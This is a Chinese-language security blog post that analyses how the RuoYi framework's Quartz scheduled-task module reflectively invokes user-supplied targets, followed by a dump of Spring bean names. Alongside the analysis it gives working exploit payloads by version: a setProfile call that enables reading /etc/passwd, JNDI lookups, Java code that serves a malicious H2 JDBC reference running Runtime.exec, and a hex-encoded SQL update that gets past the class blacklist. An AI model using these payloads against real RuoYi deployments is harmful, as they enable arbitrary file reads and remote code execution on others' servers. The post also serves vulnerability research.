前言 以前都是直接贴poc,没分析过,最近碰见了也是定时任务,但不是若依的一套,回来看若依,发现若依的逻辑也抽象了,真是捡洞。
定时任务分析
com.ruoyi.quartz.controller.SysJobController
这里就是对应的模块
com.ruoyi.quartz.controller.SysJobController#addSave
这里创建定时任务,然后经过一系列判断调用jobService.insertJob进行插入数据库中。
com.ruoyi.quartz.service.impl.SysJobServiceImpl#insertJob
1 ScheduleConstants.Status .PAUSE
新建任务时,默认设置暂定状态。
如果插入成果,调用ScheduleUtils.createScheduleJob创建计划任务
com.ruoyi.quartz.util.ScheduleUtils#createScheduleJob
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public static void createScheduleJob (Scheduler scheduler, SysJob job) throws SchedulerException, TaskException { Class<? extends Job > jobClass = getQuartzJobClass(job); Long jobId = job.getJobId(); String jobGroup = job.getJobGroup(); JobDetail jobDetail = JobBuilder.newJob(jobClass).withIdentity(getJobKey(jobId, jobGroup)).build(); CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(job.getCronExpression()); cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder); CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(jobId, jobGroup)) .withSchedule(cronScheduleBuilder).build(); jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job); if (scheduler.checkExists(getJobKey(jobId, jobGroup))) { scheduler.deleteJob(getJobKey(jobId, jobGroup)); } if (StringUtils.isNotNull(CronUtils.getNextExecution(job.getCronExpression()))) { scheduler.scheduleJob(jobDetail, trigger); } if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue())) { scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup)); } }
这里可以看到,常见任务,主要就是build了一个jobDetail,trigger。其中trigger和jobId,jobGroup,cronScheduleBuilder进行绑定,
jobDetail就是放入了job的一些信息。最后把他们注册到scheduler中,让他去执行
com.ruoyi.quartz.controller.SysJobController#run
调用jobService.run。
有了上面的基础,这里就很能看懂了,new 一个JobDataMap,把任务参数put进去,在传入的jobid调用ScheduleUtils去找Schedule中找jobkey。然后调用triggerJob。
org.quartz.core.QuartzScheduler#triggerJob(org.quartz.JobKey, org.quartz.JobDataMap)
新建一个trigger和我们jobkey,JobDataMap绑定, 然后调用storeTrigger,加入到jobList,进行触发。
Scheduler进行触发
org.quartz.simpl.SimpleThreadPool.WorkerThread#run()
最后就会调用到invokeMethod
com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod(com.ruoyi.quartz.domain.SysJob)
获取SysJob中的参数,首先判断是不是bean,bean就调用getbean获取。不是然后反射调用。太搞了,参数都是前端传进来的。
总结
创建任务是,会将任务参数插入到数据库中,成功后,就新建jobDetail,trigger,然后注册到scheduler。立即执行时,会重新创建一个trigger,在和job绑定到scheduler中触发。
com.ruoyi.quartz.controller.SysJobController#changeStatus
找到Job,设置job的 status;,然后调用
根据传入的status,进行分别调用。
最后也是调用到scheduler执行执行或者暂停,
poc 构造
就是在进行赋值的时候会有黑名单
com/ruoyi/common/constant/Constants.java
这里手动修改了,注视了4.7.9的名单,这里看见了,4.7.9已经是白名单了,且只有一个类,没得玩了。
还是有很多操作空间
没有com.ruoyi.common.config
这里没白名单,且黑名单也少,也就是《=4.7.2以前,基本就和无限制调用任意类任意方法 没什么区别
首先来看 4.7.5 主要就是这个类
com.ruoyi.common.config
一共三个
主要有用的就是com.ruoyi.common.config.RuoYiConfig
1 2 3 4 5 6 7 8 9 ... private static String profile; ... public void setProfile (String profile) { RuoYiConfig.profile = profile; } ...
又一个方法可以配置上传路径。
com.ruoyi.web.controller.common.CommonController#resourceDownload
配个/download/resource可任意文件下来
这里检查也没什么用,我们用不上,主要就差../和文件后缀
主要是这个
1 String downloadPath = localPath + StringUtils . substringAfter ( resource , Constants . RESOURCE_PREFIX ) ;
他会在我们传入的resource找/profile,没有返回控,有就截取/profile后面的进行拼接,
因为这里是把我们传入resource和RuoYiConfig.profile 拼接,只要resource没有**/profile**,会返回控,这样路径就只要RuoYiConfig.profile,也就是我们只要把RuoYiConfig.profile设置成要下载的文件名就行了
1 2 com.ruoyi.common.config.RuoYiConfig.setProfile('/etc/passwd') //全类名 ruoyiConfig.setProfile('/etc/passwd') //bean形式
执行后在访问 http://127.0.0.1:8088/common/download/resource?resource=1.txt 就可以下载,这里resource随便写,后缀在白名单里找一个就行,反正最后返回空。
这样就完成了任意文件下载。
4.7.2 相当于没有限制 https://github.com/SpringKill-team/SecurityInspector
直接来我们的项目SpringKill-team/SecurityInspector 找个
太多了太酷了
随便找一个
1 org.springframework.jndi.JndiTemplate.lookup('ldap://127.0.0.1:1389/remoteExploit8' )
执行后也是可以的,要是高版本也很简单,看我的补天大会上的ppt。直接上才艺, 返回一个恶意reference
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class ruoyiref { public static void main (String[] args) throws Exception { ResourceRef ref = new ResourceRef ("javax.sql.DataSource" , null , "" , "" , true ,"com.zaxxer.hikari.HikariJNDIFactory" ,null ); ref.add(new StringRefAddr ("driverClassName" , "org.h2.Driver" )); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec(\"open .\")\n" + "$$\n" ; ref.add(new StringRefAddr ("jdbcUrl" , JDBC_URL)); Registry registry = LocateRegistry.createRegistry(1097 ); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("exp" , referenceWrapper); } }
4.7.8 忘记说了
com.ruoyi.quartz.util.JobInvokeUtil#getMethodParams
参数执行是下面几个类型
这个版本限制了只白名单只能是com.ruoyi开头的类,且不在黑名单中就行。
网上公开就是通过sql去改sys_job中的invoke_target。
com.ruoyi.generator.service.impl.GenTableServiceImpl#createTable
执行sql语句
无敌
也就是空insert或者update设置一下invoke_target就行了
可以给一个提示,我们知道javax.naming.InitialContext 经常在黑名单中,其实可以用它的子类来进行绕过
javax.naming.directory.InitialDirContext
javax.naming.ldap.InitialLdapContext
都是可以的,这样轻松就绕过黑名单了
转hex
1 genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e6c6461702e496e697469616c4c646170436f6e746578742e6c6f6f6b75702827726d693a2f2f3132372e302e302e313a313039372f6578702729 WHERE job_id = 1;' )
执行后
id为1的已修改完成,然后执行就行。
这里只能通过SpringUtils.getBean(beanName); 触发,不能放射调用, 没有构造方法.
4.7.9
白名单,没得玩
在就是1day,ThymeleafSSTI。
省流 定时任务调用任意pubilic类的punlic方法,方法限制string,int,duble,long的类型
或者通过springbean,给到一个bean对象,然后调用bean里的public方法,参数限制同上
bean主要有下面,对应的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 result = {HashMap@22309 } size = 505 "apiModelSpecificationReader" -> "springfox.documentation.spring.web.scanners.ApiModelSpecificationReader" "sysUserOnlineController" -> "com.ruoyi.web.controller.monitor.SysUserOnlineController$$EnhancerBySpringCGLIB$$5c42ec" "com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure" -> "com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure$$EnhancerBySpringCGLIB$$73829ca1" "commonController" -> "com.ruoyi.web.controller.common.CommonController" "serviceModelToSwagger2MapperImpl" -> "springfox.documentation.swagger2.mappers.ServiceModelToSwagger2MapperImpl" "fieldProvider" -> "springfox.documentation.schema.property.field.FieldProvider" "apiListingReferenceScanner" -> "springfox.documentation.spring.web.scanners.ApiListingReferenceScanner" "parameterMultiplesReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterMultiplesReader" "org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration" "sqlSessionFactory" -> "org.apache.ibatis.session.defaults.DefaultSqlSessionFactory" "jdbcTemplate" -> "org.springframework.jdbc.core.JdbcTemplate" "sysDictTypeMapper" -> "com.sun.proxy.$Proxy300" "org.springframework.context.annotation.internalConfigurationAnnotationProcessor" -> "org.springframework.context.annotation.ConfigurationClassPostProcessor" "securityManager" -> "org.apache.shiro.web.mgt.DefaultWebSecurityManager" "org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$AspectJAutoProxyingConfiguration" -> "org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$AspectJAutoProxyingConfiguration" "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration" -> "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration" "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$EnableTransactionManagementConfiguration$CglibAutoProxyConfiguration" -> "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$EnableTransactionManagementConfiguration$CglibAutoProxyConfiguration" "sysCaptchaController" -> "com.ruoyi.web.controller.system.SysCaptchaController" "pathMappingDecorator" -> "springfox.documentation.spring.web.paths.PathMappingDecorator" "beanNameViewResolver" -> "org.springframework.web.servlet.view.BeanNameViewResolver" "queryStringUriTemplateDecorator" -> "springfox.documentation.spring.web.paths.QueryStringUriTemplateDecorator" "apiModelTypeNameProvider" -> "springfox.documentation.swagger.schema.ApiModelTypeNameProvider" "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafWebMvcConfiguration$ThymeleafViewResolverConfiguration" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafWebMvcConfiguration$ThymeleafViewResolverConfiguration" "viewResolver" -> "org.springframework.web.servlet.view.ContentNegotiatingViewResolver" "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$LiveReloadConfiguration" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$LiveReloadConfiguration" "permitAllUrlProperties" -> "com.ruoyi.framework.config.properties.PermitAllUrlProperties$$EnhancerBySpringCGLIB$$5ba1efce" "defaults" -> "springfox.documentation.spi.service.contexts.Defaults" "tomcatServletWebServerFactoryCustomizer" -> "org.springframework.boot.autoconfigure.web.servlet.TomcatServletWebServerFactoryCustomizer" "org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration" -> "org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration" "removeDruidFilterRegistrationBean" -> "org.springframework.boot.web.servlet.FilterRegistrationBean" "springfox.boot.starter.autoconfigure.SwaggerUiWebMvcConfiguration" -> "springfox.boot.starter.autoconfigure.SwaggerUiWebMvcConfiguration$$EnhancerBySpringCGLIB$$2a8d6f2c" "shiroDialect" -> "at.pollux.thymeleaf.shiro.dialect.ShiroDialect" "server-org.springframework.boot.autoconfigure.web.ServerProperties" -> "org.springframework.boot.autoconfigure.web.ServerProperties" "org.springframework.boot.autoconfigure.quartz.QuartzAutoConfiguration" -> "org.springframework.boot.autoconfigure.quartz.QuartzAutoConfiguration" "openApiOperationTagsReader" -> "springfox.documentation.swagger.readers.operation.OpenApiOperationTagsReader" "messageConverters" -> "org.springframework.boot.autoconfigure.http.HttpMessageConverters" "styleEnumMapperImpl" -> "springfox.documentation.oas.mappers.StyleEnumMapperImpl" "websocketServletWebServerCustomizer" -> "org.springframework.boot.autoconfigure.websocket.servlet.TomcatWebSocketServletWebServerCustomizer" "genConfig" -> "com.ruoyi.generator.config.GenConfig" "org.springframework.boot.autoconfigure.h2.H2ConsoleAutoConfiguration" -> "org.springframework.boot.autoconfigure.h2.H2ConsoleAutoConfiguration" "pathDecoratorRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration" -> "org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration" "dataSourceScriptDatabaseInitializer" -> "org.springframework.boot.jdbc.init.DataSourceScriptDatabaseInitializer" "genTableColumnServiceImpl" -> "com.ruoyi.generator.service.impl.GenTableColumnServiceImpl" "apiListingReader" -> "springfox.documentation.spring.web.scanners.ApiListingReader" "sysConfigServiceImpl" -> "com.ruoyi.system.service.impl.SysConfigServiceImpl" "mbeanExporter" -> "org.springframework.jmx.export.annotation.AnnotationMBeanExporter" "sysOperlogController" -> "com.ruoyi.web.controller.monitor.SysOperlogController$$EnhancerBySpringCGLIB$$b9f5c3d4" "operationHttpMethodReader" -> "springfox.documentation.swagger.readers.operation.OperationHttpMethodReader" "modelMapperImpl" -> "springfox.documentation.swagger2.mappers.ModelMapperImpl" "operationBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "defaultResponseTypeReader" -> "springfox.documentation.spring.web.plugins.DefaultResponseTypeReader" "dynamicDataSource" -> "com.ruoyi.framework.datasource.DynamicDataSource" "druidController" -> "com.ruoyi.web.controller.monitor.DruidController$$EnhancerBySpringCGLIB$$cd2a234e" "jsonIgnorePropertiesModelPlugin" -> "springfox.documentation.schema.plugins.JsonIgnorePropertiesModelPlugin" "mbeanServer" -> "com.sun.jmx.mbeanserver.JmxMBeanServer" "sysUserMapper" -> "com.sun.proxy.$Proxy289" "org.springframework.boot.context.internalConfigurationPropertiesBinder" -> "org.springframework.boot.context.properties.ConfigurationPropertiesBinder" "sysDictDataController" -> "com.ruoyi.web.controller.system.SysDictDataController$$EnhancerBySpringCGLIB$$3053a47" "onlineSessionFactory" -> "com.ruoyi.framework.shiro.session.OnlineSessionFactory" "defaultsProviderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "parameterMapperImpl" -> "springfox.documentation.swagger2.mappers.ParameterMapperImpl" "webServerFactoryCustomizerBeanPostProcessor" -> "org.springframework.boot.web.server.WebServerFactoryCustomizerBeanPostProcessor" "ruoYiConfig" -> "com.ruoyi.common.config.RuoYiConfig" "oasVendorExtensionsMapperImpl" -> "springfox.documentation.oas.mappers.OasVendorExtensionsMapperImpl" "modelAttributeParameterExpander" -> "springfox.documentation.spring.web.readers.parameter.ModelAttributeParameterExpander" "parameterMinMax" -> "springfox.bean.validators.plugins.parameter.MinMaxAnnotationPlugin" "org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration" -> "org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration" "parameterNotBlank" -> "springfox.bean.validators.plugins.parameter.NotBlankAnnotationPlugin" "schemaPluginsManager" -> "springfox.documentation.schema.plugins.SchemaPluginsManager" "org.springframework.boot.autoconfigure.jdbc.JdbcTemplateAutoConfiguration" -> "org.springframework.boot.autoconfigure.jdbc.JdbcTemplateAutoConfiguration" "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration" "cacheController" -> "com.ruoyi.web.controller.monitor.CacheController$$EnhancerBySpringCGLIB$$cfb112ce" "sysLoginService" -> "com.ruoyi.framework.shiro.service.SysLoginService" "org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration" -> "org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration" "sysDictDataMapper" -> "com.sun.proxy.$Proxy299" "config" -> "com.ruoyi.framework.web.service.ConfigService" "apiDescriptionLookup" -> "springfox.documentation.spring.web.scanners.ApiDescriptionLookup" "parameterPattern" -> "springfox.bean.validators.plugins.parameter.PatternAnnotationPlugin" "captchaConfig" -> "com.ruoyi.framework.config.CaptchaConfig$$EnhancerBySpringCGLIB$$a92653d3" "sysRegisterService" -> "com.ruoyi.framework.shiro.service.SysRegisterService" "accessorsProvider" -> "springfox.documentation.schema.property.bean.AccessorsProvider" "getEhCacheManager" -> "org.apache.shiro.cache.ehcache.EhCacheManager" "org.springframework.boot.autoconfigure.aop.AopAutoConfiguration" -> "org.springframework.boot.autoconfigure.aop.AopAutoConfiguration" "cachingModelPropertiesProvider" -> "springfox.documentation.schema.property.CachingModelPropertiesProvider" "org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration" "apiListingScannerPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "spring.quartz-org.springframework.boot.autoconfigure.quartz.QuartzProperties" -> "org.springframework.boot.autoconfigure.quartz.QuartzProperties" "restartingClassPathChangedEventListener" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$RestartConfiguration$$Lambda$803/782560197" "conventionErrorViewResolver" -> "org.springframework.boot.autoconfigure.web.servlet.error.DefaultErrorViewResolver" "org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration" "xmlModelPlugin" -> "springfox.documentation.schema.plugins.XmlModelPlugin" "org.springframework.context.event.internalEventListenerProcessor" -> "org.springframework.context.event.EventListenerMethodProcessor" "h2Console" -> "org.springframework.boot.web.servlet.ServletRegistrationBean" "localeCharsetMappingsCustomizer" -> "org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration$LocaleCharsetMappingsCustomizer" "methodResolver" -> "springfox.documentation.spring.web.readers.operation.HandlerMethodResolver" "webMvcOpenApiTransformationFilterRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "parameterRequiredReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterRequiredReader" "sysUserOnlineMapper" -> "com.sun.proxy.$Proxy295" "propertyMapperImpl" -> "springfox.documentation.swagger2.mappers.PropertyMapperImpl" "formContentFilter" -> "org.springframework.boot.web.servlet.filter.OrderedFormContentFilter" "defaultViewResolver" -> "org.springframework.web.servlet.view.InternalResourceViewResolver" "serviceModelToOpenApiMapperImpl" -> "springfox.documentation.oas.mappers.ServiceModelToOpenApiMapperImpl" "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$EnableTransactionManagementConfiguration" -> "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$EnableTransactionManagementConfiguration" "springfox.documentation.oas.configuration.OpenApiWebMvcConfiguration" -> "springfox.documentation.oas.configuration.OpenApiWebMvcConfiguration$$EnhancerBySpringCGLIB$$6375259" "routerFunctionMapping" -> "org.springframework.web.servlet.function.support.RouterFunctionMapping" "operationPathDecorator" -> "springfox.documentation.spring.web.paths.OperationPathDecorator" "jacksonObjectMapperBuilder" -> "org.springframework.http.converter.json.Jackson2ObjectMapperBuilder" "org.springframework.boot.autoconfigure.dao.PersistenceExceptionTranslationAutoConfiguration" -> "org.springframework.boot.autoconfigure.dao.PersistenceExceptionTranslationAutoConfiguration" "notNullPlugin" -> "springfox.bean.validators.plugins.schema.NotNullAnnotationPlugin" "liveReloadServer" -> "org.springframework.boot.devtools.livereload.LiveReloadServer" "spring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingProperties" -> "org.springframework.boot.autoconfigure.task.TaskSchedulingProperties" "multipartResolver" -> "org.springframework.web.multipart.support.StandardServletMultipartResolver" "springfox.documentation.oas.configuration.OpenApiMappingConfiguration" -> "springfox.documentation.oas.configuration.OpenApiMappingConfiguration$$EnhancerBySpringCGLIB$$afba55e7" "expanderSize" -> "springfox.bean.validators.plugins.parameter.ExpandedParameterSizeAnnotationPlugin" "requestMappingHandlerMapping" -> "org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" "lifecycleProcessor" -> "org.springframework.context.support.DefaultLifecycleProcessor" "org.springframework.aop.config.internalAutoProxyCreator" -> "org.springframework.aop.aspectj.annotation.AnnotationAwareAspectJAutoProxyCreator" "requestMappingHandlerAdapter" -> "org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter" "org.springframework.boot.autoconfigure.thymeleaf.TemplateEngineConfigurations$DefaultTemplateEngineConfiguration" -> "org.springframework.boot.autoconfigure.thymeleaf.TemplateEngineConfigurations$DefaultTemplateEngineConfiguration" "optimized" -> "springfox.documentation.schema.property.OptimizedModelPropertiesProvider" "mvcHandlerMappingIntrospector" -> "org.springframework.web.servlet.handler.HandlerMappingIntrospector" "org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration" -> "org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration" "sysPostServiceImpl" -> "com.ruoyi.system.service.impl.SysPostServiceImpl" "operationHiddenReader" -> "springfox.documentation.swagger.readers.operation.OperationHiddenReader" "spring.info-org.springframework.boot.autoconfigure.info.ProjectInfoProperties" -> "org.springframework.boot.autoconfigure.info.ProjectInfoProperties" "org.springframework.boot.autoconfigure.jdbc.DataSourceTransactionManagerAutoConfiguration" -> "org.springframework.boot.autoconfigure.jdbc.DataSourceTransactionManagerAutoConfiguration" "org.springframework.context.annotation.internalAutowiredAnnotationProcessor" -> "org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor" "org.springframework.boot.autoconfigure.jdbc.DataSourceTransactionManagerAutoConfiguration$JdbcTransactionManagerConfiguration" -> "org.springframework.boot.autoconfigure.jdbc.DataSourceTransactionManagerAutoConfiguration$JdbcTransactionManagerConfiguration" "xssFilterRegistration" -> "org.springframework.boot.web.servlet.FilterRegistrationBean" "springfox.documentation.oas.configuration.OpenApiDocumentationConfiguration" -> "springfox.documentation.oas.configuration.OpenApiDocumentationConfiguration$$EnhancerBySpringCGLIB$$d364e5bb" "springSessionValidationScheduler" -> "com.ruoyi.framework.shiro.web.session.SpringSessionValidationScheduler" "responseBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration" -> "org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration" "org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory" -> "org.springframework.boot.type.classreading.ConcurrentReferenceCachingMetadataReaderFactory" "genTableServiceImpl" -> "com.ruoyi.generator.service.impl.GenTableServiceImpl$$EnhancerBySpringCGLIB$$cac2a213" "modelBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "securitySchemeMapperImpl" -> "springfox.documentation.oas.mappers.SecuritySchemeMapperImpl" "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration" "permission" -> "com.ruoyi.framework.web.service.PermissionService" "org.springframework.boot.autoconfigure.sql.init.DataSourceInitializationConfiguration" -> "org.springframework.boot.autoconfigure.sql.init.DataSourceInitializationConfiguration" "thymeleafViewResolver" -> "org.thymeleaf.spring5.view.ThymeleafViewResolver" "errorAttributes" -> "org.springframework.boot.web.servlet.error.DefaultErrorAttributes" "beanNameHandlerMapping" -> "org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping" "objectMapperBeanPropertyNamingStrategy" -> "springfox.documentation.schema.property.ObjectMapperBeanPropertyNamingStrategy" "minMaxPlugin" -> "springfox.bean.validators.plugins.schema.MinMaxAnnotationPlugin" "sysIndexController" -> "com.ruoyi.web.controller.system.SysIndexController" "statFilter" -> "com.alibaba.druid.filter.stat.StatFilter" "org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration" -> "org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration" "org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat" -> "org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat" "operationNicknameIntoUniqueIdReader" -> "springfox.documentation.swagger.readers.operation.OperationNicknameIntoUniqueIdReader" "sysLoginController" -> "com.ruoyi.web.controller.system.SysLoginController" "sysRoleDeptMapper" -> "com.sun.proxy.$Proxy288" "sysUserServiceImpl" -> "com.ruoyi.system.service.impl.SysUserServiceImpl$$EnhancerBySpringCGLIB$$dcdd2a4e" "org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilter" -> "org.springframework.boot.validation.beanvalidation.MethodValidationExcludeFilter$$Lambda$374/579415823" "expanderMinMax" -> "springfox.bean.validators.plugins.parameter.ExpandedParameterMinMaxAnnotationPlugin" "operationTagsReader" -> "springfox.documentation.spring.web.readers.operation.OperationTagsReader" "sysDictTypeController" -> "com.ruoyi.web.controller.system.SysDictTypeController$$EnhancerBySpringCGLIB$$781136f7" "licenseMapperImpl" -> "springfox.documentation.swagger2.mappers.LicenseMapperImpl" "parameterNameReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterNameReader" "quartzScheduler" -> "org.quartz.impl.StdScheduler" "sessionFactory" -> "com.ruoyi.framework.shiro.session.OnlineSessionFactory" "org.mybatis.spring.boot.autoconfigure.MybatisLanguageDriverAutoConfiguration" -> "org.mybatis.spring.boot.autoconfigure.MybatisLanguageDriverAutoConfiguration$$EnhancerBySpringCGLIB$$374eff9f" "flashMapManager" -> "org.springframework.web.servlet.support.SessionFlashMapManager" "expandedParameterBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "swagger2Module" -> "springfox.documentation.swagger2.configuration.Swagger2JacksonModule" "threadPoolTaskExecutor" -> "org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor" "logAspect" -> "com.ruoyi.framework.aspectj.LogAspect" "fileSystemWatcherFactory" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$RestartConfiguration$$Lambda$802/1367205483" "cacheService" -> "com.ruoyi.framework.web.service.CacheService" "ryTask" -> "com.ruoyi.quartz.task.RyTask" "swaggerController" -> "com.ruoyi.web.controller.tool.SwaggerController$$EnhancerBySpringCGLIB$$af7e3416" "sysConfigMapper" -> "com.sun.proxy.$Proxy292" "defaultModelProvider" -> "springfox.documentation.schema.DefaultModelProvider" "cachingModelProvider" -> "springfox.documentation.schema.CachingModelProvider" "swaggerApiListingReader" -> "springfox.documentation.swagger.web.SwaggerApiListingReader" "expanderNotBlank" -> "springfox.bean.validators.plugins.parameter.ExpandedParameterNotBlankAnnotationPlugin" "sysJobController" -> "com.ruoyi.quartz.controller.SysJobController$$EnhancerBySpringCGLIB$$f85db5c" "org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$AspectJAutoProxyingConfiguration$CglibAutoProxyConfiguration" -> "org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$AspectJAutoProxyingConfiguration$CglibAutoProxyConfiguration" "org.springframework.transaction.config.internalTransactionalEventListenerFactory" -> "org.springframework.transaction.event.TransactionalEventListenerFactory" "expanderNotNull" -> "springfox.bean.validators.plugins.parameter.ExpandedParameterNotNullAnnotationPlugin" "sysOperLogMapper" -> "com.sun.proxy.$Proxy298" "mvcValidator" -> "org.springframework.boot.autoconfigure.validation.ValidatorAdapter" "viewProviderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry" "applicationAvailability" -> "org.springframework.boot.availability.ApplicationAvailabilityBean" "defaultTemplateResolver" -> "org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver" "mvcResourceUrlProvider" -> "org.springframework.web.servlet.resource.ResourceUrlProvider" "org.springframework.boot.context.internalConfigurationPropertiesBinderFactory" -> "org.springframework.boot.context.properties.ConfigurationPropertiesBinder$Factory" "spring.thymeleaf-org.springframework.boot.autoconfigure.thymeleaf.ThymeleafProperties" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafProperties" "swaggerUiConfigurer" -> "springfox.boot.starter.autoconfigure.SwaggerUiWebMvcConfigurer" "org.springframework.boot.autoconfigure.AutoConfigurationPackages" -> "org.springframework.boot.autoconfigure.AutoConfigurationPackages$BasePackages" 